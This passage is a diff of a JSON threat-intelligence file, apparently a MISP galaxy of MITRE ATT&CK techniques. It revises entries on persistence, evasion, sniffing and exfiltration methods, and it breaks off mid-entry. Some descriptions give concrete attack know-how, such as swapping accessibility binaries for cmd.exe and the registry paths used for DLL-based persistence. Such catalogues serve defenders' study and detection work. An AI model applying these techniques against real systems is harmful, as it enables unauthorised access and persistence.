"f4c1826f-a322-41cd-9557-562100848c84", - "type": "subtechnique-of" - } - ], - "uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "value": "Reversible Encryption - T1556.005" - }, { "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "meta": { @@ -21708,11 +19371,8 @@ }, "related": [ { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" } ], "uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", @@ -21772,7 +19432,6 @@ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "https://attack.mitre.org/techniques/T1546/013", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", - "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles", "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" ] @@ -21896,7 +19555,7 @@ "value": "Proxy/protocol relays - T1304" }, { - "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "meta": { "external_id": "CAPEC-557", "kill_chain": [ @@ -21921,8 +19580,7 @@ "refs": [ "https://attack.mitre.org/techniques/T1053", "https://capec.mitre.org/data/definitions/557.html", - "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + "https://technet.microsoft.com/en-us/library/cc785125.aspx" ] }, "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", @@ -21964,7 +19622,7 @@ "value": "Develop KITs/KIQs - T1227" }, { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", "meta": { "external_id": "T1529", "kill_chain": [ @@ -21978,38 +19636,18 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1529", "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown" ] }, "uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "value": "System Shutdown/Reboot - T1529" }, - { - "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ", - "meta": { - "external_id": "T1633", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1633" - ] - }, - "uuid": "27d18e87-8f32-4be1-b456-39b90454360f", - "value": "Virtualization/Sandbox Evasion - T1633" - }, { "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "meta": { @@ -22064,15 +19702,6 @@ "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "meta": { "external_id": "CAPEC-650", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1100", "https://capec.mitre.org/data/definitions/650.html", @@ -22121,17 +19750,12 @@ "value": "Automated Exfiltration - T1020" }, { - "description": "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)", + "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", "meta": { "external_id": "CAPEC-440", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Drive: Drive Creation", - "Network Traffic: Network Traffic Flow" - ], "mitre_platforms": [ "Windows", "Linux", @@ -22142,6 +19766,7 @@ "https://attack.mitre.org/techniques/T1200", "https://capec.mitre.org/data/definitions/440.html", "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", + "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained", "https://www.youtube.com/watch?v=fXthwl6ShOg", "https://www.youtube.com/watch?v=lDvf4ScWbcQ" ] @@ -22153,14 +19778,6 @@ "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "meta": { "external_id": "T1002", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1002", "https://en.wikipedia.org/wiki/List_of_file_signatures" @@ -22179,7 +19796,7 @@ "value": "Data Compressed - T1002" }, { - "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)", + "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.", "meta": { "external_id": "CAPEC-158", "kill_chain": [ @@ -22194,17 +19811,11 @@ "Linux", "macOS", "Windows", - "Network", - "IaaS" + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1040", - "https://capec.mitre.org/data/definitions/158.html", - "https://cloud.google.com/vpc/docs/packet-mirroring", - "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html", - "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview", - "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512", - "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + "https://capec.mitre.org/data/definitions/158.html" ] }, "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", @@ -22214,13 +19825,6 @@ "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", "meta": { "external_id": "CAPEC-550", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1050", "https://capec.mitre.org/data/definitions/550.html", @@ -22292,14 +19896,6 @@ "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", "meta": { "external_id": "CAPEC-572", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1009", "https://capec.mitre.org/data/definitions/572.html", @@ -22341,8 +19937,7 @@ "Linux", "macOS", "Google Workspace", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1110", @@ -22443,13 +20038,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "meta": { "external_id": "T1103", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1103", "https://msdn.microsoft.com/en-us/library/dn280412", @@ -22474,13 +20062,6 @@ "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "meta": { "external_id": "T1013", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/dd183341", "https://attack.mitre.org/techniques/T1013", @@ -22504,13 +20085,6 @@ "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", "meta": { "external_id": "CAPEC-558", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", "https://attack.mitre.org/techniques/T1015", @@ -22551,15 +20125,7 @@ "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/" ] }, - "related": [ - { - "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", "value": "Clipboard Modification - T1510" }, @@ -22567,14 +20133,6 @@ "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", "meta": { "external_id": "T1150", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1150", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" @@ -22596,12 +20154,6 @@ "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { "external_id": "T1501", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux" - ], "refs": [ "http://man7.org/linux/man-pages/man1/systemd.1.html", "https://attack.mitre.org/techniques/T1501", @@ -22646,7 +20198,7 @@ "value": "Shared Webroot - T1051" }, { - "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", + "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", "meta": { "external_id": "T1106", "kill_chain": [ @@ -22715,13 +20267,6 @@ "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.", "meta": { "external_id": "T1160", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1160", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", @@ -22746,14 +20291,6 @@ "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "meta": { "external_id": "T1107", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", "https://attack.mitre.org/techniques/T1107" @@ -22800,13 +20337,6 @@ "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "meta": { "external_id": "T1109", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1109", "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", @@ -22829,12 +20359,6 @@ "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "meta": { "external_id": "CAPEC-532", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", @@ -22864,14 +20388,6 @@ "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to 